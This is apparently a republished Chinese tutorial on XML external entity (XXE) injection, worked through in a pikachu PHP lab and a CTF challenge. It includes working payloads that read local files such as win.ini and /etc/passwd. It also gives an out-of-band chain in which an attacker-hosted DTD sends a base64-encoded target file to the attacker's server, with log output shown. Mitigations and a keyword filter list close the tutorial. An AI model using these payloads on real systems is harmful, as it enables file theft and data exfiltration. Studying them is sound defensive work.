XXE(XML外部实体注入)

news2025/1/18 7:27:06

1、XXE原理

      XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。

要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

代码层面(原理):
参数给变量未将过滤,使用了不安全的函数( simplexml_load_string 函数, loadxml 函数),处理了 这个变量,造成了XXE 漏洞。
条件:
当运维人员使用了低版本 php,libxml 低于 2.9.1 或者程序员设置了
libxml_disable_entity_loader(FALSE) 就可以加载外部实体。
原理解读
phpstudy 的版本为 5.2.17 时,我们访问 phpinfo.php ,查看 libxml 的版本(是否受影响)
由下图可知 phpstudy5.2.17 版本,受到影响,所以存在 XEE 漏洞。
http://10.0.0.101:90/phpinfo.php

 打开pikachu靶场环境,找到xxe漏洞:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

查看源代码:(使用了simplexml_load_string函数)

$xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }


 2、XXE定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


3、文档结构

XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。

4、基本的PAYLOAD结构:


5、使用DTD实体的攻击方式 :

DTD 引用方式(简要了解):

1. DTD 内部声明

<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>   
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;


6、DTD 实体声明(重点):

(1)内部实体声明

<!ENTITY 实体名称 "实体的值"> 
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

服务器根目录下上传xxe文件夹里含xml.php文件文件内容为:

<?php

    libxml_disable_entity_loader (false);      若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');   //接收xml数据,可以获取POST来的数据
    $dom = new DOMDocument();    //创建对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //文件加载,详细可参考https://www.runoob.com/php/func-simplexml-load-string.html
    $creds = simplexml_import_dom($dom);  //从 DOM 节点返回 SimpleXMLElement 对象,参考https://www.runoob.com/php/func-simplexml-import-dom.html
    echo $creds;

?>

 

http://10.0.0.101:90/xxe/xml.php

火狐阅览器插件进行传参:

上面输入URL:

http://10.0.0.101:90/xxe/xml.php

下面输入DTD 实体

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

点击Execute后,显示的是baidu.com。

在 pikachu上xxe输入DTD 实体,就会回显baidu.com:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

 


(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 读取c盘下2024.txt文件内容:

火狐阅览器插件进行传参:

http://10.0.0.101:90/xxe/xml.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 

输入到pikachu成功读取文件内容: 

pikachu地址:
http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

输入内容:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>


(3) 参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://10.0.0.101:90/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

 

(4)引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">


7、如何找xxe漏洞

(1)白盒测试

查看代码里面是否使用了LoadXML( )函数

(2)黑盒测试
  • 抓包看响应体是否存在xml,accept头是否接受xml

    • https://www.cnblogs.com/mysticbinary/p/12668547.html

  • 看到url文件名是否 .ashx后缀扩展名

  • 抓包修改数据类型,把json改成xml来传输数据

8、XXE攻击 

(1)有回显

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name> //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 抓包查看回显

(1)无回显

建立*.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

//内部的%号要进行实体编码成%

xml调用 

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

例如: 

攻击者:win2003 10.0.0.101:90

目标主机: win10  10.0.0.103:99

攻击者在自己的主机(win2003)上编写test.dtd内容如下:

读取目标主机(win10)c盘下1.txt文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

说明: http://10.0.0.101:90填写为攻击者ip

 先清空攻击者自己(win2003)apache访问日志:

 目标主机根目录上传xxe2文件夹里面有xml.php文件,文件内容为:

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

 

用火狐阅览器传参:

1、上面填写:

http://10.0.0.103:99/xxe2/xml.php

2、下面填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

3、后点击Execute执行

 然后在阅览器访问pikachu的xxe填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

最后查看攻击者apache访问日志文件:

10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209
10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209 "-" "-" 

说明:MjAyNA==为base64编码的内容

 获取到的目标主机1.txt文件内容base64解码:

 查看目标主机内容一致:


 9、XXE漏洞利用及相关扩展知识

访问在线网页:web.jarvisoj.com:9882

用抓包工具抓包:

 是一个json数据提交,修改数据发现可以被解析

 这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

发到重发器,只要将json处改为xml

修改为xxe代码,读取服务器所有用户信息:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>


 10、防范方法

(1)升级php版本
(2)程序员修改代码

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(3)过滤关键词 

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1682535.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

马蹄集 oj赛(双周赛第二十七次)

目录 栈的min 外卖递送 奇偶序列 sort 五彩斑斓的世界 括号家族 名次并列 栈间 双端队列 合并货物 逆序对 活动分组 栈的min 难度:黄金巴 占用内存:128 M时间限制:1秒 小码哥又被安排任务了&#xff0c;这次他需要要设计一个堆栈&#xff0c;他除了可以满足正常的栈…

英语学习笔记22——Give me/him/her/us/them a .... Which one?

Give me/him/her/us/them a … Which one? 给我/他/她/我们/他们一个…… 哪一个&#xff1f; 词汇 Vocabulary empty a. 空的&#xff0c;啥也没有的    v. 倒空 例句&#xff1a;这个盒子是空的。    This box is empty.    这是个空盒子。    This is an emp…

顶顶通呼叫中心中间件-自动外呼输入分机号(比如隐私号)(mod_cti基于FreeSWITCH)

顶顶通呼叫中心中间件-自动外呼输入分机号(比如隐私号)(mod_cti基于FreeSWITCH) 比如有些人的号码是这样的就需要用上自动外呼输入分机号了 号码1&#xff1a;182XXXX8111-1234 号码2&#xff1a;182XXXX8222 如果号码是这样的就根据以下步骤配置 注意使用这个需要&#xff1a;…

深度学习模型keras第二十三讲:在KerasCV中使用SAM进行任何图像分割

1 SAM概念 ###1.1 SAM定义 Segment Anything Model&#xff08;SAM&#xff09;是一种基于深度学习的图像分割模型&#xff0c;其主要特点包括&#xff1a; 高质量的图像分割&#xff1a;SAM可以从输入提示&#xff08;如点、框、文字等&#xff09;生成高质量的对象掩模&am…

自动化测试在软件开发生命周期中如何提高代码质量?

自动化测试是一种在软件开发生命周期中使用软件工具来执行测试的方法&#xff0c;它可以大大提高代码质量&#xff0c;减少开发过程中的错误和缺陷。本文将从零开始&#xff0c;详细且规范地介绍如何使用自动化测试来提高代码质量。 第一步&#xff1a;明确测试目标 在开始自…

JMH301【亲测】5月最新整理【神鬼传奇】斗罗超变单机版175级新宠物宝宝坐骑丰富超变定制装备带完整GM命令网游单机虚拟机一键端

资源介绍&#xff1a; 是否需要虚拟机&#xff1a;是 文件大小&#xff1a;压缩包约8.6G 支持系统&#xff1a;win7、win10、win11 硬件需求&#xff1a;运行内存8G 4核及以上CPU 下载方式&#xff1a;百度网盘 内容持续更新&#xff01; 资源截图&#xff1a; 下载地址…

58. UE5 RPG AI行为树的装饰器

书接56. UE5 RPG 给敌人添加AI实现跟随玩家&#xff0c;我们实现了AI一些基础设置&#xff0c;并实现了获取敌人附近的玩家实现了跟随功能 接下来&#xff0c;我们将实现区分职业&#xff0c;并根据职业不同设置不同的攻击距离&#xff0c;并且根据职业实现不同的技能施放。 …

使用 Android Jetpack 的 Room 部分将数据保存到本地数据库

处理大量结构化数据的应用可极大地受益于在本地保留这些数据。最常见的使用场景是缓存相关的数据&#xff0c;这样一来&#xff0c;当设备无法访问网络时&#xff0c;用户仍然可以在离线状态下浏览该内容。 Room 持久性库在 SQLite 上提供了一个抽象层&#xff0c;以便在充分利…

java中的HashSet类

一、HashSet类 实现了Set接口&#xff0c;无法存储重复元素 特点&#xff1a;元素位置无序、无索引、底层是HashMap 1、构造方法 内部是HashMap的构造方法 2、add方法 (1)元素在底层存储使用到了三种数据结构&#xff1a;hash数组、链表、树 (2)添加流程&#xff08;根据…

安全生产月答题pk小程序怎么做

在当今信息化时代&#xff0c;小程序已成为人们日常生活和工作中不可或缺的一部分。特别是在安全生产领域&#xff0c;通过小程序进行答题PK活动&#xff0c;不仅可以提高员工的安全意识&#xff0c;还能促进团队间的协作与交流。本文将详细介绍如何制作一款安全生产月答题PK小…

装本地知识库

装本地知识库 给大模型添加RAG知识库和搜索的功能 1.安装phidata pip install -U phidata在github将该项目拉取下来&#xff0c;后续步骤的很多内容可以直接使用该项目中给的例子&#xff0c;进行简单修改就可直接使用。 2.安装向量知识库&#xff0c;使用的docker docker …

Java-MySql:JDBC

目录 JDBC概述 JDBC搭建 1、导入mysql开发商提供的jar包 2、注册驱动 3、与数据库连接 注解&#xff1a; Statement&#xff1a; 代码 运行 PreparedStatement&#xff1a; 代码 运行 PreparedStatement和Statement Statement 增 代码 运行 删 代码 运…

Android:OkHttp网络请求框架的使用

目录 一&#xff0c;OkHttp简介 二&#xff0c;OkHttp请求处理流程 三&#xff0c;OkHttp环境配置 四&#xff0c;OkHttp的使用 1.get网络请求 2.post上传表单数据 3.post上传json格式数据 4.文件上传 5.文件下载 一&#xff0c;OkHttp简介 OkHttp是square公司推出的一…

docker安装git

一、安装Gitlab 1.搜索影像 2.下载影像 3.启动Git服务 4.查看Gitlab是否已经启动 二、配置Gitlab 1.首先&#xff0c;先进入容器 2.修改gitlab.rb文件 3.修改gitlab.rb文件中的IP与端口号 3.配置gitlab.yml文件 4.重启服务 5.退出命令行&#xff0c;推出容器命令 6.使用浏览器打…

【线性回归】梯度下降

文章目录 [toc]数据数据集实际值估计值 梯度下降算法估计误差代价函数学习率参数更新 Python实现导包数据预处理迭代过程结果可视化完整代码 结果可视化线性拟合结果代价变化 数据 数据集 ( x ( i ) , y ( i ) ) , i 1 , 2 , ⋯ , m \left(x^{(i)} , y^{(i)}\right) , i 1 ,…

TransFormer学习之VIT算法解析

1.算法简介 本文主要对VIT算法原理进行简单梳理&#xff0c;下图是一个大佬整理的网络整体的流程图&#xff0c;清晰明了&#xff0c;其实再了解自注意力机制和多头自注意力机制后&#xff0c;再看VIT就很简单了 受到NLP领域中Transformer成功应用的启发&#xff0c;ViT算法尝…

Linux远程登录方式ssh与vnc的区别

ssh登录 ssh是基于非对称密钥加密登录服务器 vnc登录 vnc登录相当于Linux图形界面的方式登录 为什么需要多种登录方式 在ssh无法远程登录时&#xff0c;可以使用vnc登录。新安装的虚拟机不一定会安装或启用ssh服务&#xff0c;并且要实现ssh的远程登录&#xff0c;linux防…

字符串的定义和操作 继续!

字符串的定义和操作 1&#xff09;定义 与列表、元组一样&#xff0c;字符串也可以通过下标进行访问 从前向后&#xff0c;下标从0开始 从后向前&#xff0c;下标从-1开始 my_str "green" # 通过下标索引取值 value my_str[0] value2 my_str[-5] print(f&quo…

k8s pv 一直是release状态

如下图所示&#xff0c;pv 一直是release状态 这个时候大家可能就会想到现在我的 PVC 被删除了&#xff0c;PV 也变成了 Released 状态&#xff0c;那么我重建之前的 PVC 他们不就可以重新绑定了&#xff0c;事实并不会&#xff0c;PVC 只能和 Available 状态的 PV 进行绑定。…

什么是谷歌爬虫?

其实就是谷歌用来浏览网络信息的一个自动化程序&#xff0c;他们会在你的网站爬取&#xff0c;寻找和搜集信息&#xff0c;谷歌爬虫可以说决定着一个网站在谷歌的生死 谷歌爬虫的作用机制就在于发现新网站以及新网页&#xff0c;然后他会把网页的内容带回去&#xff0c;更新到…